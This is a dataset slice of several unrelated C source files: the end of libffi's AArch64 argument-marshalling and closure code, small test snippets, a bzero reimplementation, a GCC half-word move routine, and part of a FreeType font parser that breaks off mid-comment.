" ldp q16, q17, [%3]\n" /* Q4 */
" ldp q18, q19, [%3, #32]\n"
" b 4f\n"
" ldp q16, q17, [%3]\n" /* Q3 */
" ldr q18, [%3, #32]\n"
" b 3f\n"
" ldp q16, q17, [%3]\n" /* Q2 */
" b 2f\n"
" nop\n"
" ldr q16, [%3]\n" /* Q1 */
" b 1f\n"
"4: str q19, [%2, #48]\n"
"3: str q18, [%2, #32]\n"
"2: str q17, [%2, #16]\n"
"1: str q16, [%2]"
: "=&r"(x0)
: "r"(f * 12), "r"(dest), "r"(src)
: "memory", "v16", "v17", "v18", "v19");
}
static void *
compress_hfa_type (void *dest, void *reg, int h)
{
switch (h)
{
case AARCH64_RET_S1:
if (dest == reg)
{
#ifdef __AARCH64EB__
dest += 12;
#endif
}
else
*(float *)dest = *(float *)reg;
break;
case AARCH64_RET_S2:
asm ("ldp q16, q17, [%1]\n\t"
"st2 { v16.s, v17.s }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17");
break;
case AARCH64_RET_S3:
asm ("ldp q16, q17, [%1]\n\t"
"ldr q18, [%1, #32]\n\t"
"st3 { v16.s, v17.s, v18.s }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17", "v18");
break;
case AARCH64_RET_S4:
asm ("ldp q16, q17, [%1]\n\t"
"ldp q18, q19, [%1, #32]\n\t"
"st4 { v16.s, v17.s, v18.s, v19.s }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17", "v18", "v19");
break;
case AARCH64_RET_D1:
if (dest == reg)
{
#ifdef __AARCH64EB__
dest += 8;
#endif
}
else
*(double *)dest = *(double *)reg;
break;
case AARCH64_RET_D2:
asm ("ldp q16, q17, [%1]\n\t"
"st2 { v16.d, v17.d }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17");
break;
case AARCH64_RET_D3:
asm ("ldp q16, q17, [%1]\n\t"
"ldr q18, [%1, #32]\n\t"
"st3 { v16.d, v17.d, v18.d }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17", "v18");
break;
case AARCH64_RET_D4:
asm ("ldp q16, q17, [%1]\n\t"
"ldp q18, q19, [%1, #32]\n\t"
"st4 { v16.d, v17.d, v18.d, v19.d }[0], [%0]"
: : "r"(dest), "r"(reg) : "memory", "v16", "v17", "v18", "v19");
break;
default:
if (dest != reg)
return memcpy (dest, reg, 16 * (4 - (h & 3)));
break;
}
return dest;
}
/* Either allocate an appropriate register for the argument type, or if
none are available, allocate a stack slot and return a pointer
to the allocated space. */
static void *
allocate_int_to_reg_or_stack (struct call_context *context,
struct arg_state *state,
void *stack, size_t size)
{
if (state->ngrn < N_X_ARG_REG)
return &context->x[state->ngrn++];
state->ngrn = N_X_ARG_REG;
return allocate_to_stack (state, stack, size, size);
}
ffi_status
ffi_prep_cif_machdep (ffi_cif *cif)
{
ffi_type *rtype = cif->rtype;
size_t bytes = cif->bytes;
int flags, i, n;
switch (rtype->type)
{
case FFI_TYPE_VOID:
flags = AARCH64_RET_VOID;
break;
case FFI_TYPE_UINT8:
flags = AARCH64_RET_UINT8;
break;
case FFI_TYPE_UINT16:
flags = AARCH64_RET_UINT16;
break;
case FFI_TYPE_UINT32:
flags = AARCH64_RET_UINT32;
break;
case FFI_TYPE_SINT8:
flags = AARCH64_RET_SINT8;
break;
case FFI_TYPE_SINT16:
flags = AARCH64_RET_SINT16;
break;
case FFI_TYPE_INT:
case FFI_TYPE_SINT32:
flags = AARCH64_RET_SINT32;
break;
case FFI_TYPE_SINT64:
case FFI_TYPE_UINT64:
flags = AARCH64_RET_INT64;
break;
case FFI_TYPE_POINTER:
flags = (sizeof(void *) == 4 ? AARCH64_RET_UINT32 : AARCH64_RET_INT64);
break;
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
case FFI_TYPE_LONGDOUBLE:
case FFI_TYPE_STRUCT:
case FFI_TYPE_COMPLEX:
flags = is_vfp_type (rtype);
if (flags == 0)
{
size_t s = rtype->size;
if (s > 16)
{
flags = AARCH64_RET_VOID | AARCH64_RET_IN_MEM;
bytes += 8;
}
else if (s == 16)
flags = AARCH64_RET_INT128;
else if (s == 8)
flags = AARCH64_RET_INT64;
else
flags = AARCH64_RET_INT128 | AARCH64_RET_NEED_COPY;
}
break;
default:
abort();
}
for (i = 0, n = cif->nargs; i < n; i++)
if (is_vfp_type (cif->arg_types[i]))
{
flags |= AARCH64_FLAG_ARG_V;
break;
}
/* Round the stack up to a multiple of the stack alignment requirement. */
cif->bytes = (unsigned) FFI_ALIGN(bytes, 16);
cif->flags = flags;
#if defined (__APPLE__)
cif->aarch64_nfixedargs = 0;
#endif
return FFI_OK;
}
#if defined (__APPLE__)
/* Perform Apple-specific cif processing for variadic calls */
ffi_status ffi_prep_cif_machdep_var(ffi_cif *cif,
unsigned int nfixedargs,
unsigned int ntotalargs)
{
ffi_status status = ffi_prep_cif_machdep (cif);
cif->aarch64_nfixedargs = nfixedargs;
return status;
}
#endif /* __APPLE__ */
extern void ffi_call_SYSV (struct call_context *context, void *frame,
void (*fn)(void), void *rvalue, int flags,
void *closure) FFI_HIDDEN;
/* Call a function with the provided arguments and capture the return
value. */
static void
ffi_call_int (ffi_cif *cif, void (*fn)(void), void *orig_rvalue,
void **avalue, void *closure)
{
struct call_context *context;
void *stack, *frame, *rvalue;
struct arg_state state;
size_t stack_bytes, rtype_size, rsize;
int i, nargs, flags;
ffi_type *rtype;
flags = cif->flags;
rtype = cif->rtype;
rtype_size = rtype->size;
stack_bytes = cif->bytes;
/* If the target function returns a structure via hidden pointer,
then we cannot allow a null rvalue. Otherwise, mash a null
rvalue to void return type. */
rsize = 0;
if (flags & AARCH64_RET_IN_MEM)
{
if (orig_rvalue == NULL)
rsize = rtype_size;
}
else if (orig_rvalue == NULL)
flags &= AARCH64_FLAG_ARG_V;
else if (flags & AARCH64_RET_NEED_COPY)
rsize = 16;
/* Allocate consectutive stack for everything we'll need. */
context = alloca (sizeof(struct call_context) + stack_bytes + 32 + rsize);
stack = context + 1;
frame = stack + stack_bytes;
rvalue = (rsize ? frame + 32 : orig_rvalue);
arg_init (&state);
for (i = 0, nargs = cif->nargs; i < nargs; i++)
{
ffi_type *ty = cif->arg_types[i];
size_t s = ty->size;
void *a = avalue[i];
int h, t;
t = ty->type;
switch (t)
{
case FFI_TYPE_VOID:
FFI_ASSERT (0);
break;
/* If the argument is a basic type the argument is allocated to an
appropriate register, or if none are available, to the stack. */
case FFI_TYPE_INT:
case FFI_TYPE_UINT8:
case FFI_TYPE_SINT8:
case FFI_TYPE_UINT16:
case FFI_TYPE_SINT16:
case FFI_TYPE_UINT32:
case FFI_TYPE_SINT32:
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
case FFI_TYPE_POINTER:
do_pointer:
{
ffi_arg ext = extend_integer_type (a, t);
if (state.ngrn < N_X_ARG_REG)
context->x[state.ngrn++] = ext;
else
{
void *d = allocate_to_stack (&state, stack, ty->alignment, s);
state.ngrn = N_X_ARG_REG;
/* Note that the default abi extends each argument
to a full 64-bit slot, while the iOS abi allocates
only enough space. */
#ifdef __APPLE__
memcpy(d, a, s);
#else
*(ffi_arg *)d = ext;
#endif
}
}
break;
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
case FFI_TYPE_LONGDOUBLE:
case FFI_TYPE_STRUCT:
case FFI_TYPE_COMPLEX:
{
void *dest;
h = is_vfp_type (ty);
if (h)
{
int elems = 4 - (h & 3);
if (state.nsrn + elems <= N_V_ARG_REG)
{
dest = &context->v[state.nsrn];
state.nsrn += elems;
extend_hfa_type (dest, a, h);
break;
}
state.nsrn = N_V_ARG_REG;
dest = allocate_to_stack (&state, stack, ty->alignment, s);
}
else if (s > 16)
{
/* If the argument is a composite type that is larger than 16
bytes, then the argument has been copied to memory, and
the argument is replaced by a pointer to the copy. */
a = &avalue[i];
t = FFI_TYPE_POINTER;
s = sizeof (void *);
goto do_pointer;
}
else
{
size_t n = (s + 7) / 8;
if (state.ngrn + n <= N_X_ARG_REG)
{
/* If the argument is a composite type and the size in
double-words is not more than the number of available
X registers, then the argument is copied into
consecutive X registers. */
dest = &context->x[state.ngrn];
state.ngrn += n;
}
else
{
/* Otherwise, there are insufficient X registers. Further
X register allocations are prevented, the NSAA is
adjusted and the argument is copied to memory at the
adjusted NSAA. */
state.ngrn = N_X_ARG_REG;
dest = allocate_to_stack (&state, stack, ty->alignment, s);
}
}
memcpy (dest, a, s);
}
break;
default:
abort();
}
#if defined (__APPLE__)
if (i + 1 == cif->aarch64_nfixedargs)
{
state.ngrn = N_X_ARG_REG;
state.nsrn = N_V_ARG_REG;
state.allocating_variadic = 1;
}
#endif
}
ffi_call_SYSV (context, frame, fn, rvalue, flags, closure);
if (flags & AARCH64_RET_NEED_COPY)
memcpy (orig_rvalue, rvalue, rtype_size);
}
void
ffi_call (ffi_cif *cif, void (*fn) (void), void *rvalue, void **avalue)
{
ffi_call_int (cif, fn, rvalue, avalue, NULL);
}
#ifdef FFI_GO_CLOSURES
void
ffi_call_go (ffi_cif *cif, void (*fn) (void), void *rvalue,
void **avalue, void *closure)
{
ffi_call_int (cif, fn, rvalue, avalue, closure);
}
#endif /* FFI_GO_CLOSURES */
/* Build a trampoline. */
extern void ffi_closure_SYSV (void) FFI_HIDDEN;
extern void ffi_closure_SYSV_V (void) FFI_HIDDEN;
ffi_status
ffi_prep_closure_loc (ffi_closure *closure,
ffi_cif* cif,
void (*fun)(ffi_cif*,void*,void**,void*),
void *user_data,
void *codeloc)
{
if (cif->abi != FFI_SYSV)
return FFI_BAD_ABI;
void (*start)(void);
if (cif->flags & AARCH64_FLAG_ARG_V)
start = ffi_closure_SYSV_V;
else
start = ffi_closure_SYSV;
#if FFI_EXEC_TRAMPOLINE_TABLE
#ifdef __MACH__
void **config = (void **)((uint8_t *)codeloc - PAGE_MAX_SIZE);
config[0] = closure;
config[1] = start;
#endif
#else
static const unsigned char trampoline[16] = {
0x90, 0x00, 0x00, 0x58, /* ldr x16, tramp+16 */
0xf1, 0xff, 0xff, 0x10, /* adr x17, tramp+0 */
0x00, 0x02, 0x1f, 0xd6 /* br x16 */
};
char *tramp = closure->tramp;
memcpy (tramp, trampoline, sizeof(trampoline));
*(UINT64 *)(tramp + 16) = (uintptr_t)start;
ffi_clear_cache(tramp, tramp + FFI_TRAMPOLINE_SIZE);
#endif
closure->cif = cif;
closure->fun = fun;
closure->user_data = user_data;
return FFI_OK;
}
#ifdef FFI_GO_CLOSURES
extern void ffi_go_closure_SYSV (void) FFI_HIDDEN;
extern void ffi_go_closure_SYSV_V (void) FFI_HIDDEN;
ffi_status
ffi_prep_go_closure (ffi_go_closure *closure, ffi_cif* cif,
void (*fun)(ffi_cif*,void*,void**,void*))
{
void (*start)(void);
if (cif->abi != FFI_SYSV)
return FFI_BAD_ABI;
if (cif->flags & AARCH64_FLAG_ARG_V)
start = ffi_go_closure_SYSV_V;
else
start = ffi_go_closure_SYSV;
closure->tramp = start;
closure->cif = cif;
closure->fun = fun;
return FFI_OK;
}
#endif /* FFI_GO_CLOSURES */
/* Primary handler to setup and invoke a function within a closure.
A closure when invoked enters via the assembler wrapper
ffi_closure_SYSV(). The wrapper allocates a call context on the
stack, saves the interesting registers (from the perspective of
the calling convention) into the context then passes control to
ffi_closure_SYSV_inner() passing the saved context and a pointer to
the stack at the point ffi_closure_SYSV() was invoked.
On the return path the assembler wrapper will reload call context
registers.
ffi_closure_SYSV_inner() marshalls the call context into ffi value
descriptors, invokes the wrapped function, then marshalls the return
value back into the call context. */
int FFI_HIDDEN
ffi_closure_SYSV_inner (ffi_cif *cif,
void (*fun)(ffi_cif*,void*,void**,void*),
void *user_data,
struct call_context *context,
void *stack, void *rvalue, void *struct_rvalue)
{
void **avalue = (void**) alloca (cif->nargs * sizeof (void*));
int i, h, nargs, flags;
struct arg_state state;
arg_init (&state);
for (i = 0, nargs = cif->nargs; i < nargs; i++)
{
ffi_type *ty = cif->arg_types[i];
int t = ty->type;
size_t n, s = ty->size;
switch (t)
{
case FFI_TYPE_VOID:
FFI_ASSERT (0);
break;
case FFI_TYPE_INT:
case FFI_TYPE_UINT8:
case FFI_TYPE_SINT8:
case FFI_TYPE_UINT16:
case FFI_TYPE_SINT16:
case FFI_TYPE_UINT32:
case FFI_TYPE_SINT32:
case FFI_TYPE_UINT64:
case FFI_TYPE_SINT64:
case FFI_TYPE_POINTER:
avalue[i] = allocate_int_to_reg_or_stack (context, &state, stack, s);
break;
case FFI_TYPE_FLOAT:
case FFI_TYPE_DOUBLE:
case FFI_TYPE_LONGDOUBLE:
case FFI_TYPE_STRUCT:
case FFI_TYPE_COMPLEX:
h = is_vfp_type (ty);
if (h)
{
n = 4 - (h & 3);
if (state.nsrn + n <= N_V_ARG_REG)
{
void *reg = &context->v[state.nsrn];
state.nsrn += n;
/* Eeek! We need a pointer to the structure, however the
homogeneous float elements are being passed in individual
registers, therefore for float and double the structure
is not represented as a contiguous sequence of bytes in
our saved register context. We don't need the original
contents of the register storage, so we reformat the
structure into the same memory. */
avalue[i] = compress_hfa_type (reg, reg, h);
}
else
{
state.nsrn = N_V_ARG_REG;
avalue[i] = allocate_to_stack (&state, stack,
ty->alignment, s);
}
}
else if (s > 16)
{
/* Replace Composite type of size greater than 16 with a
pointer. */
avalue[i] = *(void **)
allocate_int_to_reg_or_stack (context, &state, stack,
sizeof (void *));
}
else
{
n = (s + 7) / 8;
if (state.ngrn + n <= N_X_ARG_REG)
{
avalue[i] = &context->x[state.ngrn];
state.ngrn += n;
}
else
{
state.ngrn = N_X_ARG_REG;
avalue[i] = allocate_to_stack (&state, stack,
ty->alignment, s);
}
}
break;
default:
abort();
}
#if defined (__APPLE__)
if (i + 1 == cif->aarch64_nfixedargs)
{
state.ngrn = N_X_ARG_REG;
state.nsrn = N_V_ARG_REG;
state.allocating_variadic = 1;
}
#endif
}
flags = cif->flags;
if (flags & AARCH64_RET_IN_MEM)
rvalue = struct_rvalue;
fun (cif, rvalue, avalue, user_data);
return flags;
}
#endif |
the_stack_data/78180.c | struct X;
struct Y
{
struct X *p;
int i;
};
void foo (struct Y *p)
{
p->i = 1;
}
|
the_stack_data/330663.c | #include <stdio.h>
int main()
{
unsigned char c;
unsigned char *p = &c;
if (c == 'a')
printf("equal\n");
else
printf("nonequal\n");
// does this have defined behaviour?
}
|
the_stack_data/1049919.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_bzero.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: jwinthei <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/11/21 12:53:15 by jwinthei #+# #+# */
/* Updated: 2018/11/21 16:50:15 by jwinthei ### ########.fr */
/* */
/* ************************************************************************** */
#include <string.h>
void ft_bzero(void *dst, size_t n)
{
size_t i;
i = 0;
while (i < n)
((unsigned char *)dst)[i++] = '\0';
}
|
the_stack_data/154829154.c | /* Move half-word library function.
Copyright (C) 2000, 2003 Free Software Foundation, Inc.
Contributed by Red Hat, Inc.
This file is part of GCC.
GCC is free software ; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation * either version 2, or (at your option)
any later version.
GCC is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY ; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with GCC; see the file COPYING. If not, write to
the Free Software Foundation, 51 Franklin Street, Fifth Floor,
Boston, MA 02110-1301, USA. */
/* As a special exception, if you link this library with other files,
some of which are compiled with GCC, to produce an executable,
this library does not by itself cause the resulting executable
to be covered by the GNU General Public License.
This exception does not however invalidate any other reasons why
the executable file might be covered by the GNU General Public License. */
void
__cmovh (short *dest, const short *src, unsigned len)
{
unsigned i;
unsigned num = len >> 1;
char *dest_byte = (char *)dest;
const char *src_byte = (const char *)src;
if (dest_byte < src_byte || dest_byte > src_byte+len)
{
for (i = 0; i < num; i++)
dest[i] = src[i];
if ((len & 1) != 0)
dest_byte[len-1] = src_byte[len-1];
}
else
{
while (len-- > 0)
dest_byte[len] = src_byte[len];
}
}
|
the_stack_data/1007795.c | //
// Created by wangzhengcheng on 2017/9/29.
//
|
the_stack_data/3262159.c | /*
* The font parser using the FreeType library version 2.
*
* see COPYRIGHT
*
*/
#ifdef USE_FREETYPE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <ft2build.h>
#include FT_FREETYPE_H
#include FT_TRUETYPE_TABLES_H
#include FT_BBOX_H
#include FT_GLYPH_H
#include FT_CONFIG_CONFIG_H
#include FT_CONFIG_OPTIONS_H
#include FT_ERRORS_H
#include FT_SYSTEM_H
#include FT_IMAGE_H
#include FT_TYPES_H
#include FT_OUTLINE_H
#include FT_MODULE_H
#include FT_RENDER_H
#include FT_TYPE1_TABLES_H
#include FT_TRUETYPE_IDS_H
#include FT_TRUETYPE_TAGS_H
#include FT_MULTIPLE_MASTERS_H
#include FT_SFNT_NAMES_H
#ifdef XP_PSTEXT
#include "os.h"
#include "Xproto.h"
#include "font.h"
#include "fontstruct.h"
#include "fntfilst.h"
#include "fontutil.h"
#include "fontenc.h"
#include "ft.h"
#define NOT_IN_FTFUNCS
#include "ftfuncs.h"
#endif /* XP_PSTEXT */
#include "pt1.h"
#include "global.h"
/* prototypes of call entries */
static void openfont(char *fname, char *arg);
static void closefont( void);
static int getnglyphs ( void);
static int glnames( GLYPH *glyph_list);
static void glmetrics( GLYPH *glyph_list);
static int glenc( GLYPH *glyph_list, int *encoding, int *unimap);
static void fnmetrics( struct font_metrics *fm);
static void glpath( int glyphno, GLYPH *glyph_list);
static void kerning( GLYPH *glyph_list);
/* globals */
/* front-end descriptor */
struct frontsw freetype_sw = {
/*name*/ "ft",
/*descr*/ "based on the FreeType2 library",
/*suffix*/ { "ttf", "ttc", "otf", "otc", "pfa", "pfb" },
/*open*/ openfont,
/*close*/ closefont,
/*nglyphs*/ getnglyphs,
/*glnames*/ glnames,
/*glmetrics*/ glmetrics,
/*glenc*/ glenc,
/*fnmetrics*/ fnmetrics,
/*glpath*/ glpath,
/*kerning*/ kerning,
};
/* statics */
static char * dupcnstring( unsigned char *s, int len);
#ifndef XP_PSTEXT
static FT_Library library;
#endif /* !XP_PSTEXT */
static FT_Face face;
static int enc_type, enc_found;
/* SFNT functions do not seem to be included by default in FT2beta8 */
#define ENABLE_SFNT
/*
* Open font and prepare to return information to the main driver.
* May print error and warning messages.
* Exit on error.
*/
static void
openfont(
char *fname,
char *arg /* unused now */
)
{
FT_Error error;
#ifdef XP_PSTEXT
extern FT_Face xp_pstext_ft_face;
extern FT_Library ftypeLibrary; /* defined in xc/lib/font/FreeType/ftfuncs.c */
face = xp_pstext_ft_face;
#else
if( FT_Init_FreeType( &library ) ) {
fprintf(stderr, "** FreeType initialization failed\n");
exit(1);
}
if( error = FT_New_Face( library, fname, 0, &face ) ) {
if ( error == FT_Err_Unknown_File_Format )
fprintf(stderr, "**** %s has format unknown to FreeType\n", fname);
else
fprintf(stderr, "**** Cannot access %s ****\n", fname);
exit(1);
}
#endif /* XP_PSTEXT */
if(FT_HAS_FIXED_SIZES(face)) {
WARNING_1 fprintf(stderr, "Font contains bitmaps\n");
}
if(FT_HAS_MULTIPLE_MASTERS(face)) {
WARNING_1 fprintf(stderr, "Font contains multiple masters, using default\n");
}
if(ISDBG(FT)) fprintf(stderr," %d units per EM\n", face->units_per_EM);
enc_found = 0;
}
/*
* Close font.
* Exit on error.
*/
static void
closefont(
void
)
{
#ifdef XP_PSTEXT
/* NOP */
#else
if( FT_Done_Face(face) ) {
WARNING_1 fprintf(stderr, "Errors when closing the font file, ignored\n");
}
if( FT_Done_FreeType(library) ) {
WARNING_1 fprintf(stderr, "Errors when stopping FreeType, ignored\n");
}
#endif /* XP_PSTEXT */
}
/*
* Get the number of glyphs in font.
*/
static int
getnglyphs (
void
)
{
if(ISDBG(FT)) fprintf(stderr, "%d glyphs in font\n", face->num_glyphs);
return (int)face->num_glyphs;
}
/*
* Get the names of the glyphs.
* Returns 0 if the names were assigned, non-zero if the font
* provides no glyph names.
*/
static int
glnames(
GLYPH *glyph_list
)
{
#define MAX_NAMELEN 1024
#ifdef XP_PSTEXT
char buf[1024];
long i;
FT_Error error;
#ifdef XP_ONLY_BLOCKS
extern unsigned long xp_font_block_offset;
extern FTFontPtr xp_xtf;
int bc; /* block counter */
/* FixMe: This code should use PsOut_Get_FreeType_Glyph_Name() instead of
* duplicating the code
*/
for( bc = xp_font_block_offset ; bc < (xp_font_block_offset+256) ; bc++ ) {
/* Remap X11 font index to FreeType font index */
i = FTRemap(face, &xp_xtf->mapping, bc);
if( i >= face->num_glyphs )
continue;
#else
for(i=0; i < face->num_glyphs; i++) {
#endif /* XP_ONLY_BLOCKS */
if( FT_Has_PS_Glyph_Names(face) ) {
error = FT_Get_Glyph_Name(face, i, buf, MAX_NAMELEN);
}
else
{
error = -1;
}
if( error ) {
/* Check for unicode mapping
* See Adobe document "Unicode and Glyph Names"
* (http://partners.adobe.com/asn/tech/type/unicodegn.jsp)
*/
if( (xp_xtf->mapping.mapping->type == FONT_ENCODING_UNICODE) &&
(i < 0xFFFE) )
{
sprintf(buf, "uni%04lx", i);
}
else
{
sprintf(buf, "ch%02lx", i);
}
}
glyph_list[i].name = strdup(buf);
if(ISDBG(FT)) fprintf(stderr, "%d has name %s\n", i, buf);
if (glyph_list[i].name == NULL) {
fprintf (stderr, "****malloc failed %s line %d\n", __FILE__, __LINE__);
exit(255);
}
}
return 0;
#else
char bf[1024];
long i;
if( ! FT_HAS_GLYPH_NAMES(face) ) {
WARNING_1 fprintf(stderr, "Font has no glyph names\n");
return 1;
}
for(i=0; i < face->num_glyphs; i++) {
if( FT_Get_Glyph_Name(face, i, bf, MAX_NAMELEN) || bf[0]==0 ) {
sprintf(bf, "_g_%d", i);
WARNING_2 fprintf(stderr,
"Glyph No. %d has no postscript name, becomes %s\n", i, bf);
}
glyph_list[i].name = strdup(bf);
if(ISDBG(FT)) fprintf(stderr, "%d has name %s\n", i, bf);
if (glyph_list[i].name == NULL) {
fprintf (stderr, "****malloc failed %s line %d\n", __FILE__, __LINE__);
exit(255);
}
}
return 0;
#endif /* XP_PSTEXT */
}
/*
* Get the metrics of the glyphs.
*/
static void
glmetrics(
GLYPH *glyph_list
)
{
GLYPH *g;
int i;
FT_Glyph_Metrics *met;
FT_BBox bbox;
FT_Glyph gly;
#ifdef XP_ONLY_BLOCKS
extern unsigned long xp_font_block_offset;
extern FTFontPtr xp_xtf;
int bc; /* block counter */
for( bc = xp_font_block_offset ; bc < (xp_font_block_offset+256) ; bc++ ) {
/* Remap X11 font index to FreeType font index */
i = FTRemap(face, &xp_xtf->mapping, bc);
if( i >= face->num_glyphs )
continue;
#else
for(i=0; i < face->num_glyphs; i++) {
#endif /* XP_ONLY_BLOCKS */
g = &(glyph_list[i]);
if( FT_Load_Glyph(face, i, FT_LOAD_NO_BITMAP|FT_LOAD_NO_SCALE) ) {
fprintf(stderr, "Can't load glyph %s, skipped\n", g->name);
continue;
}
met = &face->glyph->metrics;
if(FT_HAS_HORIZONTAL(face)) {
g->width = met->horiAdvance;
g->lsb = met->horiBearingX;
} else {
WARNING_2 fprintf(stderr, "Glyph %s has no horizontal metrics, guessed them\n", g->name);
g->width = met->width;
g->lsb = 0;
}
if( FT_Get_Glyph(face->glyph, &gly) ) {
fprintf(stderr, "Can't access glyph %s bbox, skipped\n", g->name);
continue;
}
FT_Glyph_Get_CBox(gly, ft_glyph_bbox_unscaled, &bbox);
g->xMin = bbox.xMin;
g->yMin = bbox.yMin;
g->xMax = bbox.xMax;
g->yMax = bbox.yMax;
g->ttf_pathlen = face->glyph->outline.n_points;
}
}
/*
* Get the original encoding of the font.
* Returns 1 for if the original encoding is Unicode, 2 if the
* original encoding is other 16-bit, 0 if 8-bit.
*/
static int
glenc(
GLYPH *glyph_list,
int *encoding,
int *unimap
)
{
#ifdef XP_PSTEXT
int i,
e;
unsigned code;
extern FTFontPtr xp_xtf;
extern unsigned long xp_font_block_offset;
enc_found = 1;
enc_type = 0;
for(i=0; i<ENCTABSZ; i++) {
if(encoding[i] != -1)
continue;
/* Remap X11 font index to FreeType font index */
code = FTRemap(face, &xp_xtf->mapping, xp_font_block_offset+i);
if(code == 0)
continue; /* .notdef */
encoding[i] = code;
}
return enc_type;
#else
int i, e;
unsigned code;
if(ISDBG(FT))
for(e=0; e < face->num_charmaps; e++) {
fprintf(stderr, "found encoding pid=%d eid=%d\n",
face->charmaps[e]->platform_id,
face->charmaps[e]->encoding_id);
}
if(enc_found)
goto populate_map;
enc_type = 0;
/* first check for an explicit PID/EID */
if(force_pid != -1) {
for(e=0; e < face->num_charmaps; e++) {
if(face->charmaps[e]->platform_id == force_pid
&& face->charmaps[e]->encoding_id == force_eid) {
WARNING_1 fprintf(stderr, "Found Encoding PID=%d/EID=%d\n",
force_pid, force_eid);
if( FT_Set_Charmap(face, face->charmaps[e]) ) {
fprintf(stderr, "**** Cannot set charmap in FreeType ****\n");
exit(1);
}
enc_type = 1;
goto populate_map;
}
}
fprintf(stderr, "*** TTF encoding table PID=%d/EID=%d not found\n",
force_pid, force_eid);
exit(1);
}
/* next check for a direct Adobe mapping */
if(!forcemap) {
for(e=0; e < face->num_charmaps; e++) {
if(face->charmaps[e]->encoding == ft_encoding_adobe_custom) {
WARNING_1 fputs("Found Adobe Custom Encoding\n", stderr);
if( FT_Set_Charmap(face, face->charmaps[e]) ) {
fprintf(stderr, "**** Cannot set charmap in FreeType ****\n");
exit(1);
}
goto populate_map;
}
}
}
for(e=0; e < face->num_charmaps; e++) {
if(face->charmaps[e]->platform_id == 3) {
switch(face->charmaps[e]->encoding_id) {
case 0:
WARNING_1 fputs("Found Symbol Encoding\n", stderr);
break;
case 1:
WARNING_1 fputs("Found Unicode Encoding\n", stderr);
enc_type = 1;
break;
default:
WARNING_1 {
fprintf(stderr,
"****MS Encoding ID %d not supported****\n",
face->charmaps[e]->encoding_id);
fputs("Treating it like Symbol encoding\n", stderr);
}
break;
}
break;
}
}
if(e >= face->num_charmaps) {
WARNING_1 fputs("No Microsoft encoding, using first encoding available\n", stderr);
e = 0;
}
if( FT_Set_Charmap(face, face->charmaps[e]) ) {
fprintf(stderr, "**** Cannot set charmap in FreeType ****\n");
exit(1);
}
populate_map:
enc_found = 1;
for(i=0; i<ENCTABSZ; i++) {
if(encoding[i] != -1)
continue;
if(enc_type == 1 || forcemap) {
code = unimap[i];
if(code == (unsigned) -1)
continue;
} else
code = i;
code = FT_Get_Char_Index(face, code);
if(0 && ISDBG(FT)) fprintf(stderr, "code of %3d is %3d\n", i, code);
if(code == 0)
continue; /* .notdef */
encoding[i] = code;
}
return enc_type;
#endif /* XP_PSTEXT */
}
/* duplicate a string with counter to a 0-terminated string */
static char *
dupcnstring(
unsigned char *s,
int len
)
{
char *res, *out;
int i, c;
static int warned=0;
if(( res = malloc(len+1) )==NULL) {
fprintf (stderr, "****malloc failed %s line %d\n", __FILE__, __LINE__);
exit(255);
}
out = res;
for(i=0; i<len; i++) {
if(( c=s[i] )>=' ' && c!=127)
*out++ = c;
else if(!warned) {
warned=1;
WARNING_1 fprintf(stderr, "Some font name strings are in Unicode, may not show properly\n");
}
}
*out = 0;
return res;
}
/*
* Get the font metrics
*/
static void
fnmetrics(
struct font_metrics *fm
)
{
char *str;
static char *fieldstocheck[3];
#ifdef ENABLE_SFNT
FT_SfntName sn;
#endif /* ENABLE_SFNT */
int i;
fm->italic_angle = 0.0; /* FreeType hides the angle */
fm->underline_position = face->underline_position;
fm->underline_thickness = face->underline_thickness;
fm->is_fixed_pitch = FT_IS_FIXED_WIDTH(face);
fm->ascender = face->ascender;
fm->descender = face->descender;
fm->units_per_em = face->units_per_EM;
fm->bbox[0] = face->bbox.xMin;
fm->bbox[1] = face->bbox.yMin;
fm->bbox[2] = face->bbox.xMax;
fm->bbox[3] = face->bbox.yMax;
#ifdef ENABLE_SFNT
if( FT_Get_Sfnt_Name(face, TT_NAME_ID_COPYRIGHT, &sn) )
#endif /* ENABLE_SFNT */
fm->name_copyright = "";
#ifdef ENABLE_SFNT
else
fm->name_copyright = dupcnstring(sn.string, sn.string_len);
#endif /* ENABLE_SFNT */
fm->name_family = face->family_name;
fm->name_style = face->style_name;
if(fm->name_style == NULL)
fm->name_style = "";
#ifdef ENABLE_SFNT
if( FT_Get_Sfnt_Name(face, TT_NAME_ID_FULL_NAME, &sn) )
#endif /* ENABLE_SFNT */
{
int len;
len = strlen(fm->name_family) + strlen(fm->name_style) + 2;
if(( fm->name_full = malloc(len) )==NULL) {
fprintf (stderr, "****malloc failed %s line %d\n", __FILE__, __LINE__);
exit(255);
}
strcpy(fm->name_full, fm->name_family);
if(strlen(fm->name_style) != 0) {
strcat(fm->name_full, " ");
strcat(fm->name_full, fm->name_style);
}
}
#ifdef ENABLE_SFNT
else
fm->name_full = dupcnstring(sn.string, sn.string_len);
#endif /* ENABLE_SFNT */
#ifdef ENABLE_SFNT
if( FT_Get_Sfnt_Name(face, TT_NAME_ID_VERSION_STRING, &sn) )
#endif /* ENABLE_SFNT */
fm->name_version = "1.0";
#ifdef ENABLE_SFNT
else
fm->name_version = dupcnstring(sn.string, sn.string_len);
#endif /* ENABLE_SFNT */
#ifdef XP_PSTEXT
{
extern const char *xp_psfontname;
fm->name_ps = strdup(xp_psfontname);
/* Handle the rare case if a family name was not provided by the TTF
* font (like Solaris TTF fonts in /usr/openwin/lib/locale/ko.UTF-8/X11/fonts/TrueType,
